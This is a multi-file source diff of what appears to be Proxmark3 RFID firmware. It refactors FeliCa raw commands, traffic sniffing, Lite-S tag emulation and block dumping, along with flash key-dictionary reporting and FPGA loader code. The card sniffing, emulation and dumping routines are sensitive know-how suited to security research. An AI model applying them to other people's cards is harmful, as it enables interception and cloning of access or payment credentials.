// clear RXRDY:
|
||||
|
@ -394,19 +411,15 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
|
|||
(void)b;
|
||||
|
||||
uint32_t timeout = iso18092_get_timeout();
|
||||
|
||||
for (;;) {
|
||||
WDT_HIT();
|
||||
|
||||
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
|
||||
b = (uint8_t)(AT91C_BASE_SSC->SSC_RHR);
|
||||
Process18092Byte(b);
|
||||
if (FelicaFrame.state == STATE_FULL) {
|
||||
felica_nexttransfertime =
|
||||
MAX(
|
||||
felica_nexttransfertime,
|
||||
(GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME
|
||||
)
|
||||
;
|
||||
felica_nexttransfertime = MAX(felica_nexttransfertime,
|
||||
(GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME);
|
||||
|
||||
LogTrace(
|
||||
FelicaFrame.framebytes,
|
||||
|
@ -416,22 +429,20 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
|
|||
NULL,
|
||||
false
|
||||
);
|
||||
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("All bytes received! STATE_FULL");
|
||||
return true;
|
||||
} else if (c++ > timeout && FelicaFrame.state == STATE_UNSYNCD) {
|
||||
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD");
|
||||
return false;
|
||||
} else if (FelicaFrame.state == STATE_GET_CRC) {
|
||||
Dbprintf(" Frame: ");
|
||||
Dbhexdump(16, FelicaFrame.framebytes, 0);
|
||||
//return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Set up FeliCa communication (similar to iso14443a_setup)
|
||||
// field is setup for "Sending as Reader"
|
||||
static void iso18092_setup(uint8_t fpga_minor_mode) {
|
||||
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Start iso18092_setup");
|
||||
|
||||
LEDsoff();
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
|
||||
|
@ -441,7 +452,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
|
|||
BigBuf_Clear_ext(false);
|
||||
|
||||
// Initialize Demod and Uart structs
|
||||
//DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
// DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
|
||||
FelicaFrameinit(BigBuf_malloc(FELICA_MAX_FRAME_SIZE));
|
||||
|
||||
felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER;
|
||||
|
@ -459,7 +470,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
|
|||
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
|
||||
|
||||
// Signal field is on with the appropriate LED
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | fpga_minor_mode);
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | fpga_minor_mode);
|
||||
|
||||
//20.4 ms generate field, start sending polling command afterwars.
|
||||
SpinDelay(100);
|
||||
|
@ -469,6 +480,14 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
|
|||
|
||||
LED_D_ON();
|
||||
}
|
||||
|
||||
void felica_reset_frame_mode() {
|
||||
switch_off();
|
||||
//Resetting Frame mode (First set in fpgaloader.c)
|
||||
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
|
||||
}
|
||||
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// RAW FeliCa commands. Send out commands and store answers.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
@ -476,8 +495,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
|
|||
// arg1 len of commandbytes
|
||||
// d.asBytes command bytes to send
|
||||
void felica_sendraw(PacketCommandNG *c) {
|
||||
|
||||
if (DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Enter");
|
||||
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("FeliCa_sendraw Enter");
|
||||
|
||||
felica_command_t param = c->oldarg[0];
|
||||
size_t len = c->oldarg[1] & 0xffff;
|
||||
|
@ -487,21 +505,26 @@ void felica_sendraw(PacketCommandNG *c) {
|
|||
felica_card_select_t card;
|
||||
|
||||
if ((param & FELICA_CONNECT))
|
||||
clear_trace();
|
||||
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Clear trace");
|
||||
clear_trace();
|
||||
|
||||
set_tracing(true);
|
||||
iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
|
||||
|
||||
if ((param & FELICA_CONNECT)) {
|
||||
iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
|
||||
|
||||
// notify client selecting status.
|
||||
// if failed selecting, turn off antenna and quite.
|
||||
if (!(param & FELICA_NO_SELECT)) {
|
||||
arg0 = felica_select_card(&card);
|
||||
reply_old(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t));
|
||||
if (arg0 > 0)
|
||||
goto OUT;
|
||||
reply_mix(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t));
|
||||
if (arg0 > 0) {
|
||||
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Error: Failed selecting card! ");
|
||||
felica_reset_frame_mode();
|
||||
return;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("No card selection");
|
||||
}
|
||||
|
||||
if ((param & FELICA_RAW)) {
|
||||
|
@ -522,88 +545,84 @@ void felica_sendraw(PacketCommandNG *c) {
|
|||
AddCrc(buf, len);
|
||||
}
|
||||
}
|
||||
|
||||
if (DBGLEVEL >= DBG_DEBUG) {
|
||||
Dbprintf("Transmit Frame (no CRC shown):");
|
||||
Dbhexdump(len, buf, 0);
|
||||
Dbprintf("Buffer Length: %i", buf[2] + 4);
|
||||
};
|
||||
TransmitFor18092_AsReader(buf, buf[2] + 4, NULL, 1, 0);
|
||||
arg0 = !WaitForFelicaReply(1024);
|
||||
reply_old(CMD_ACK, arg0, 0, 0, FelicaFrame.framebytes + 2, FelicaFrame.len - 2);
|
||||
arg0 = WaitForFelicaReply(1024);
|
||||
if (DBGLEVEL >= DBG_DEBUG) {
|
||||
Dbprintf("Received Frame Code: %d", arg0);
|
||||
Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0);
|
||||
};
|
||||
|
||||
uint32_t result = reply_mix(CMD_ACK, FelicaFrame.len, arg0, 0, FelicaFrame.framebytes, FelicaFrame.len);
|
||||
if (result) {
|
||||
Dbprintf("Reply to Client Error Code: %i", result);
|
||||
}
|
||||
}
|
||||
|
||||
if ((param & FELICA_NO_DISCONNECT))
|
||||
return;
|
||||
|
||||
OUT:
|
||||
switch_off();
|
||||
|
||||
//Resetting Frame mode (First set in fpgaloader.c)
|
||||
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
|
||||
|
||||
if (DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Exit");
|
||||
if ((param & FELICA_NO_DISCONNECT)) {
|
||||
Dbprintf("Disconnect");
|
||||
}
|
||||
if (DBGLEVEL >= DBG_DEBUG)
|
||||
Dbprintf("FeliCa_sendraw Exit");
|
||||
felica_reset_frame_mode();
|
||||
return;
|
||||
}
|
||||
|
||||
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) {
|
||||
|
||||
int remFrames = (samplesToSkip) ? samplesToSkip : 0;
|
||||
|
||||
Dbprintf("Sniff FelicaLiteS: Getting first %d frames, Skipping %d triggers.\n", samplesToSkip, triggersToSkip);
|
||||
|
||||
Dbprintf("Sniff Felica: Getting first %d frames, Skipping after %d triggers.\n", samplesToSkip, triggersToSkip);
|
||||
clear_trace();
|
||||
set_tracing(true);
|
||||
iso18092_setup(FPGA_HF_ISO18092_FLAG_NOMOD);
|
||||
|
||||
//the frame bits are slow enough.
|
||||
int n = BigBuf_max_traceLen() / sizeof(uint8_t); // take all memory
|
||||
int numbts = 0;
|
||||
uint8_t *dest = (uint8_t *)BigBuf_get_addr();
|
||||
uint8_t *destend = dest + n - 2;
|
||||
|
||||
uint32_t endframe = GetCountSspClk();
|
||||
|
||||
while (dest <= destend) {
|
||||
LED_D_ON();
|
||||
uint16_t numbts = 0;
|
||||
int trigger_cnt = 0;
|
||||
uint32_t timeout = iso18092_get_timeout();
|
||||
bool isReaderFrame = true;
|
||||
while (!BUTTON_PRESS()) {
|
||||
WDT_HIT();
|
||||
if (BUTTON_PRESS()) break;
|
||||
|
||||
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
|
||||
uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR);
|
||||
Process18092Byte(dist);
|
||||
|
||||
//to be sure we are in frame
|
||||
if (FelicaFrame.state == STATE_GET_LENGTH) {
|
||||
//length is after 48 (PRE)+16 (SYNC) - 64 ticks +maybe offset? not 100%
|
||||
uint16_t distance = GetCountSspClk() - endframe - 64 + (FelicaFrame.byte_offset > 0 ? (8 - FelicaFrame.byte_offset) : 0);
|
||||
*dest = distance >> 8;
|
||||
dest++;
|
||||
*dest = (distance & 0xff);
|
||||
dest++;
|
||||
if ((dist >= 178) && (++trigger_cnt > triggersToSkip)) {
|
||||
Dbprintf("triggersToSkip kicked %d", dist);
|
||||
break;
|
||||
}
|
||||
//crc NOT checked
|
||||
if (FelicaFrame.state == STATE_FULL) {
|
||||
endframe = GetCountSspClk();
|
||||
//*dest = FelicaFrame.crc_ok; //kind of wasteful
|
||||
dest++;
|
||||
for (int i = 0; i < FelicaFrame.len; i++) {
|
||||
*dest = FelicaFrame.framebytes[i];
|
||||
dest++;
|
||||
if (dest >= destend) break;
|
||||
|
||||
if ((FelicaFrame.framebytes[3] % 2) == 0) {
|
||||
isReaderFrame = true; // All Reader Frames are even and all Tag frames are odd
|
||||
} else {
|
||||
isReaderFrame = false;
|
||||
}
|
||||
|
||||
remFrames--;
|
||||
if (remFrames <= 0) break;
|
||||
if (dest >= destend) break;
|
||||
|
||||
if (remFrames <= 0) {
|
||||
Dbprintf("Stop Sniffing - samplesToSkip reached!");
|
||||
break;
|
||||
}
|
||||
LogTrace(FelicaFrame.framebytes,
|
||||
FelicaFrame.len,
|
||||
((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER - timeout,
|
||||
((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER,
|
||||
NULL,
|
||||
isReaderFrame
|
||||
);
|
||||
numbts += FelicaFrame.len;
|
||||
|
||||
FelicaFrameReset();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch_off();
|
||||
|
||||
//reset framing
|
||||
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
|
||||
set_tracelen(numbts);
|
||||
set_tracelen(BigBuf_max_traceLen());
|
||||
|
||||
Dbprintf("Felica sniffing done, tracelen: %i, use hf list felica for annotations", BigBuf_get_traceLen());
|
||||
reply_old(CMD_ACK, 1, numbts, 0, 0, 0);
|
||||
LED_D_OFF();
|
||||
}
|
||||
|
||||
#define R_POLL0_LEN 0x16
|
||||
|
@ -700,7 +719,7 @@ void felica_sim_lite(uint64_t uid) {
|
|||
TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0);
|
||||
|
||||
//switch back
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD);
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD);
|
||||
|
||||
FelicaFrameReset();
|
||||
listenmode = true;
|
||||
|
@ -717,8 +736,9 @@ void felica_sim_lite(uint64_t uid) {
|
|||
DbpString("Felica Lite-S sim end");
|
||||
}
|
||||
|
||||
void felica_dump_lite_s() {
|
||||
#define RES_SVC_LEN 11 + 3
|
||||
|
||||
void felica_dump_lite_s() {
|
||||
uint8_t ndef[8];
|
||||
uint8_t poll[10] = { 0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xff, 0xff, 0x00, 0x00, 0x09, 0x21};
|
||||
uint16_t liteblks[28] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x90, 0x91, 0x92, 0xa0};
|
||||
|
@ -732,28 +752,26 @@ void felica_dump_lite_s() {
|
|||
uint8_t *dest = BigBuf_get_addr();
|
||||
|
||||
while (!BUTTON_PRESS() && !data_available()) {
|
||||
|
||||
WDT_HIT();
|
||||
|
||||
// polling?
|
||||
//TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0);
|
||||
TransmitFor18092_AsReader(poll, 10, NULL, 1, 0);
|
||||
|
||||
if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) {
|
||||
|
||||
// copy 8bytes to ndef.
|
||||
memcpy(ndef, FelicaFrame.framebytes + 4, 8);
|
||||
// for (c=0; c < 8; c++)
|
||||
// ndef[c] = FelicaFrame.framebytes[c+4];
|
||||
|
||||
for (blknum = 0; blknum < sizeof(liteblks);) {
|
||||
|
||||
for (blknum = 0; blknum < ARRAYLEN(liteblks);) {
|
||||
// block to read.
|
||||
BuildFliteRdblk(ndef, 1, &liteblks[blknum]);
|
||||
|
||||
//TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0);
|
||||
TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0);
|
||||
|
||||
|
||||
|
||||
TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0);
|
||||
// read block
|
||||
if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_RDBLK_ACK) {
|
||||
|
||||
|
@ -782,11 +800,11 @@ void felica_dump_lite_s() {
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
isOK = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
switch_off();
|
||||
|
||||
//Resetting Frame mode (First set in fpgaloader.c)
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Samy Kamkar, 2011, 2012
|
||||
// Brad antoniewicz 2011
|
||||
// Christian Herrmann, 2017
|
||||
// Jonathan Westhues, Aug 2005
|
||||
// Gerhard de Koning Gans, April 2008, May 2011
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// StandAlone Mod
|
||||
// Definitions internal to the app source.
|
||||
//-----------------------------------------------------------------------------
|
||||
#ifndef __FELICA_H
|
||||
#define __FELICA_H
|
||||
|
||||
#ifndef __LF_PROXBRUTE_H
|
||||
#define __LF_PROXBRUTE_H
|
||||
#include "common.h"
|
||||
#include "cmd.h"
|
||||
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "apps.h" // debugstatements, lfops?
|
||||
void felica_sendraw(PacketCommandNG *c);
|
||||
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip);
|
||||
void felica_sim_lite(uint64_t uid);
|
||||
void felica_dump_lite_s();
|
||||
|
||||
#define OPTS 2
|
||||
|
||||
#endif /* __LF_PROXBRUTE_H */
|
||||
#endif
|
|
@ -1,4 +1,10 @@
|
|||
#include "flashmem.h"
|
||||
#include "pmflash.h"
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "ticks.h"
|
||||
#include "dbprint.h"
|
||||
#include "string.h"
|
||||
|
||||
/* here: use NCPS2 @ PA10: */
|
||||
#define SPI_CSR_NUM 2
|
||||
|
@ -15,7 +21,7 @@ uint32_t FLASHMEM_SPIBAUDRATE = FLASH_BAUD;
|
|||
|
||||
void FlashmemSetSpiBaudrate(uint32_t baudrate) {
|
||||
FLASHMEM_SPIBAUDRATE = baudrate;
|
||||
Dbprintf("Spi Baudrate : %dMhz", FLASHMEM_SPIBAUDRATE / 1000000);
|
||||
Dbprintf("Spi Baudrate : %dMHz", FLASHMEM_SPIBAUDRATE / 1000000);
|
||||
}
|
||||
|
||||
// initialize
|
||||
|
@ -553,6 +559,7 @@ void Flashmem_print_status(void) {
|
|||
}
|
||||
|
||||
void Flashmem_print_info(void) {
|
||||
|
||||
if (!FlashInit()) return;
|
||||
|
||||
DbpString(_BLUE_("Flash memory dictionary loaded"));
|
||||
|
@ -561,25 +568,28 @@ void Flashmem_print_info(void) {
|
|||
uint8_t keysum[2];
|
||||
uint16_t num;
|
||||
|
||||
Flash_CheckBusy(BUSY_TIMEOUT);
|
||||
uint16_t isok = Flash_ReadDataCont(DEFAULT_MF_KEYS_OFFSET, keysum, 2);
|
||||
if (isok == 2) {
|
||||
num = ((keysum[1] << 8) | keysum[0]);
|
||||
if (num != 0xFFFF && num != 0x0)
|
||||
Dbprintf(" Mifare................"_YELLOW_("%d")"keys", num);
|
||||
Dbprintf(" Mifare.................."_YELLOW_("%d")"keys", num);
|
||||
}
|
||||
|
||||
Flash_CheckBusy(BUSY_TIMEOUT);
|
||||
isok = Flash_ReadDataCont(DEFAULT_T55XX_KEYS_OFFSET, keysum, 2);
|
||||
if (isok == 2) {
|
||||
num = ((keysum[1] << 8) | keysum[0]);
|
||||
if (num != 0xFFFF && num != 0x0)
|
||||
Dbprintf(" T55x7................."_YELLOW_("%d")"keys", num);
|
||||
Dbprintf(" T55x7..................."_YELLOW_("%d")"keys", num);
|
||||
}
|
||||
|
||||
Flash_CheckBusy(BUSY_TIMEOUT);
|
||||
isok = Flash_ReadDataCont(DEFAULT_ICLASS_KEYS_OFFSET, keysum, 2);
|
||||
if (isok == 2) {
|
||||
num = ((keysum[1] << 8) | keysum[0]);
|
||||
if (num != 0xFFFF && num != 0x0)
|
||||
Dbprintf(" iClass................"_YELLOW_("%d")"keys", num);
|
||||
Dbprintf(" iClass.................."_YELLOW_("%d")"keys", num);
|
||||
}
|
||||
|
||||
FlashStop();
|
||||
|
|
|
@ -28,9 +28,7 @@
|
|||
#ifndef __FLASHMEM_H
|
||||
#define __FLASHMEM_H
|
||||
|
||||
#include "proxmark3.h"
|
||||
#include "apps.h"
|
||||
#include "ticks.h"
|
||||
#include "common.h"
|
||||
|
||||
// Used Command
|
||||
#define ID 0x90
|
||||
|
@ -62,7 +60,7 @@
|
|||
#define RESUME 0x7A
|
||||
|
||||
// Flash busy timeout: 20ms is the strict minimum when writing 256kb
|
||||
#define BUSY_TIMEOUT 50000L
|
||||
#define BUSY_TIMEOUT 200000L
|
||||
|
||||
#define WINBOND_MANID 0xEF
|
||||
#define WINBOND_DEVID 0x11
|
||||
|
@ -102,7 +100,6 @@
|
|||
#define MAX_BLOCKS 4
|
||||
#define MAX_SECTORS 16
|
||||
|
||||
#define MCK 48000000
|
||||
//#define FLASH_BAUD 24000000
|
||||
#define FLASH_MINFAST 24000000 //33000000
|
||||
#define FLASH_BAUD MCK/2
|
||||
|
@ -112,7 +109,6 @@
|
|||
#define FASTFLASH (FLASHMEM_SPIBAUDRATE > FLASH_MINFAST)
|
||||
|
||||
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
|
||||
void Dbprintf(const char *fmt, ...);
|
||||
|
||||
void FlashmemSetSpiBaudrate(uint32_t baudrate);
|
||||
bool FlashInit();
|
||||
|
@ -142,5 +138,6 @@ uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len);
|
|||
uint16_t Flash_WriteDataCont(uint32_t address, uint8_t *in, uint16_t len);
|
||||
void Flashmem_print_status(void);
|
||||
void Flashmem_print_info(void);
|
||||
uint16_t FlashSendLastByte(uint32_t data);
|
||||
|
||||
#endif
|
||||
|
|
|
@ -6,6 +6,8 @@
|
|||
// Fonts for the LCD
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "fonts_disabled.h"
|
||||
|
||||
const char FONT6x8[97][8] = {
|
||||
{0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00}, // columns, rows, bytes per char
|
||||
{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // space
|
|
@ -11,6 +11,15 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
#include "fpgaloader.h"
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "BigBuf.h"
|
||||
#include "ticks.h"
|
||||
#include "dbprint.h"
|
||||
#include "util.h"
|
||||
#include "zlib.h"
|
||||
#include "fpga.h"
|
||||
#include "string.h"
|
||||
|
||||
// remember which version of the bitstream we have already downloaded to the FPGA
|
||||
static int downloaded_bitstream = 0;
|
||||
|
@ -81,7 +90,7 @@ void SetupSpi(int mode) {
|
|||
AT91C_BASE_SPI->SPI_CSR[0] =
|
||||
(1 << 24) | // Delay between Consecutive Transfers (32 MCK periods)
|
||||
(1 << 16) | // Delay Before SPCK (1 MCK period)
|
||||
(6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud
|
||||
(6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24MHz/6 = 4M baud
|
||||
AT91C_SPI_BITS_16 | // Bits per Transfer (16 bits)
|
||||
(0 << 3) | // Chip Select inactive after transfer
|
||||
AT91C_SPI_NCPHA | // Clock Phase data captured on leading edge, changes on following edge
|
||||
|
@ -101,7 +110,7 @@ void SetupSpi(int mode) {
|
|||
AT91C_BASE_SPI->SPI_CSR[2] =
|
||||
( 1 << 24) | // Delay between Consecutive Transfers (32 MCK periods)
|
||||
( 1 << 16) | // Delay Before SPCK (1 MCK period)
|
||||
( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud
|
||||
( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24MHz/6 = 4M baud
|
||||
AT91C_SPI_BITS_9 | // Bits per Transfer (9 bits)
|
||||
( 0 << 3) | // Chip Select inactive after transfer
|
||||
( 1 << 1) | // Clock Phase data captured on leading edge, changes on following edge
|
||||
|
@ -115,8 +124,8 @@ void SetupSpi(int mode) {
|
|||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Set up the synchronous serial port, with the one set of options that we
|
||||
// always use when we are talking to the FPGA. Both RX and TX are enabled.
|
||||
// Set up the synchronous serial port with the set of options that fits
|
||||
// the FPGA mode. Both RX and TX are always enabled.
|
||||
//-----------------------------------------------------------------------------
|
||||
void FpgaSetupSsc(void) {
|
||||
// First configure the GPIOs, and get ourselves a clock.
|
||||
|
@ -132,16 +141,16 @@ void FpgaSetupSsc(void) {
|
|||
// Now set up the SSC proper, starting from a known state.
|
||||
AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST;
|
||||
|
||||
// RX clock comes from TX clock, RX starts when TX starts, data changes
|
||||
// on RX clock rising edge, sampled on falling edge
|
||||
// RX clock comes from TX clock, RX starts on Transmit Start,
|
||||
// data and frame signal is sampled on falling edge of RK
|
||||
AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1);
|
||||
|
||||
// 8 bits per transfer, no loopback, MSB first, 1 transfer per sync
|
||||
// pulse, no output sync
|
||||
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
|
||||
|
||||
// clock comes from TK pin, no clock output, outputs change on falling
|
||||
// edge of TK, sample on rising edge of TK, start on positive-going edge of sync
|
||||
// TX clock comes from TK pin, no clock output, outputs change on falling
|
||||
// edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF
|
||||
AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | SSC_CLOCK_MODE_START(5);
|
||||
|
||||
// tx framing is the same as the rx framing
|
||||
|
@ -153,8 +162,7 @@ void FpgaSetupSsc(void) {
|
|||
//-----------------------------------------------------------------------------
|
||||
// Set up DMA to receive samples from the FPGA. We will use the PDC, with
|
||||
// a single buffer as a circular buffer (so that we just chain back to
|
||||
// ourselves, not to another buffer). The stuff to manipulate those buffers
|
||||
// is in apps.h, because it should be inlined, for speed.
|
||||
// ourselves, not to another buffer).
|
||||
//-----------------------------------------------------------------------------
|
||||
bool FpgaSetupSscDma(uint8_t *buf, int len) {
|
||||
if (buf == NULL) return false;
|
||||
|
@ -392,9 +400,13 @@ static int bitparse_find_section(int bitstream_version, char section_name, uint3
|
|||
void FpgaDownloadAndGo(int bitstream_version) {
|
||||
|
||||
// check whether or not the bitstream is already loaded
|
||||
if (downloaded_bitstream == bitstream_version)
|
||||
if (downloaded_bitstream == bitstream_version) {
|
||||
FpgaEnableTracing();
|
||||
return;
|
||||
}
|
||||
|
||||
// Send waiting time extension request as this will take a while
|
||||
send_wtx(1500);
|
||||
z_stream compressed_fpga_stream;
|
||||
uint8_t output_buffer[OUTPUT_BUFFER_LEN] = {0x00};
|
||||
|
||||
|
@ -427,6 +439,8 @@ void FpgaDownloadAndGo(int bitstream_version) {
|
|||
// Send a 16 bit command/data pair to the FPGA.
|
||||
// The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0
|
||||
// where C is the 4 bit command and D is the 12 bit data
|
||||
//
|
||||
// @params cmd and v gets or over eachother. Take careful note of overlapping bits.
|
||||
//-----------------------------------------------------------------------------
|
||||
void FpgaSendCommand(uint16_t cmd, uint16_t v) {
|
||||
SetupSpi(SPI_FPGA_MODE);
|
||||
|
@ -439,10 +453,21 @@ void FpgaSendCommand(uint16_t cmd, uint16_t v) {
|
|||
// vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to
|
||||
// avoid changing this function's occurence everywhere in the source code.
|
||||
//-----------------------------------------------------------------------------
|
||||
void FpgaWriteConfWord(uint8_t v) {
|
||||
void FpgaWriteConfWord(uint16_t v) {
|
||||
FpgaSendCommand(FPGA_CMD_SET_CONFREG, v);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// enable/disable FPGA internal tracing
|
||||
//-----------------------------------------------------------------------------
|
||||
void FpgaEnableTracing(void) {
|
||||
FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1);
|
||||
}
|
||||
|
||||
void FpgaDisableTracing(void) {
|
||||
FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 0);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Set up the CMOS switches that mux the ADC: four switches, independently
|
||||
// closable, but should only close one at a time. Not an FPGA thing, but
|
||||
|
|
|
@ -12,70 +12,80 @@
|
|||
#ifndef __FPGALOADER_H
|
||||
#define __FPGALOADER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include "apps.h"
|
||||
#include "fpga.h"
|
||||
#include "common.h" // standard definitions
|
||||
#include "proxmark3.h" // common area
|
||||
#include "string.h"
|
||||
#include "BigBuf.h" // bigbuf mem
|
||||
#include "zlib.h" // uncompress
|
||||
#include "common.h"
|
||||
|
||||
|
||||
void FpgaSendCommand(uint16_t cmd, uint16_t v);
|
||||
void FpgaWriteConfWord(uint8_t v);
|
||||
void FpgaDownloadAndGo(int bitstream_version);
|
||||
// void FpgaGatherVersion(int bitstream_version, char *dst, int len);
|
||||
void FpgaSetupSsc(void);
|
||||
void SetupSpi(int mode);
|
||||
bool FpgaSetupSscDma(uint8_t *buf, int len);
|
||||
void Fpga_print_status(void);
|
||||
int FpgaGetCurrent(void);
|
||||
#define FpgaDisableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS;
|
||||
#define FpgaEnableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN;
|
||||
void SetAdcMuxFor(uint32_t whichGpio);
|
||||
|
||||
// extern and generel turn off the antenna method
|
||||
void switch_off(void);
|
||||
|
||||
// definitions for multiple FPGA config files support
|
||||
#define FPGA_BITSTREAM_LF 1
|
||||
#define FPGA_BITSTREAM_HF 2
|
||||
//#define FPGA_BITSTREAM_FELICA 3
|
||||
|
||||
/*
|
||||
Communication between ARM / FPGA is done inside armsrc/fpgaloader.c (function FpgaSendCommand)
|
||||
Send 16 bit command / data pair to FPGA
|
||||
The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0
|
||||
where
|
||||
C is 4bit command
|
||||
D is 12bit data
|
||||
|
||||
-----+--------- frame layout --------------------
|
||||
bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
|
||||
-----+-------------------------------------------
|
||||
cmd | x x x x
|
||||
major| x x x
|
||||
opt | x x
|
||||
